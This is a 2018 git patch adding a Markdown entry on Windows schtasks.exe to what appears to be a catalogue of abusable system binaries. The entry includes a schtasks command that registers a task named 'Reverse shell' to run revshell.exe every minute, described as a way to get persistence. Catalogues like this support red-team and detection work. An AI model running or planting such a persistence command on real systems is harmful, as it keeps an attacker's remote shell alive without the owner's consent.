From 852f395f861e8134cf23cf2335e918862f00f3fe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ossi=20V=C3=A4=C3=A4n=C3=A4nen?= <ossi.vaananen@sanoma.com>
Date: Sun, 7 Oct 2018 13:54:53 +0300
Subject: [PATCH] Schtasks

---
 OSBinaries/Schtasks.md | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)
 create mode 100644 OSBinaries/Schtasks.md

diff --git a/OSBinaries/Schtasks.md b/OSBinaries/Schtasks.md
new file mode 100644
index 0000000..823bbcc
--- /dev/null
+++ b/OSBinaries/Schtasks.md
@@ -0,0 +1,24 @@
+## schtasks.exe
+
+* Functions: Execute, Persistence
+
+```
+schtasks /create /sc minute /mo 1 /tn "Reverse shell" /tr c:\some\directory\revshell.exe
+```
+
+Acknowledgements:
+* 
+
+Code sample:
+* 
+
+Resources:
+* https://isc.sans.edu/forums/diary/Adding+Persistence+Via+Scheduled+Tasks/23633/
+
+Full path:
+```
+c:\windows\system32\schtasks.exe
+```
+
+Notes:
+Create a recurring task to provide persistence, eg. to start a reverse shell
\ No newline at end of file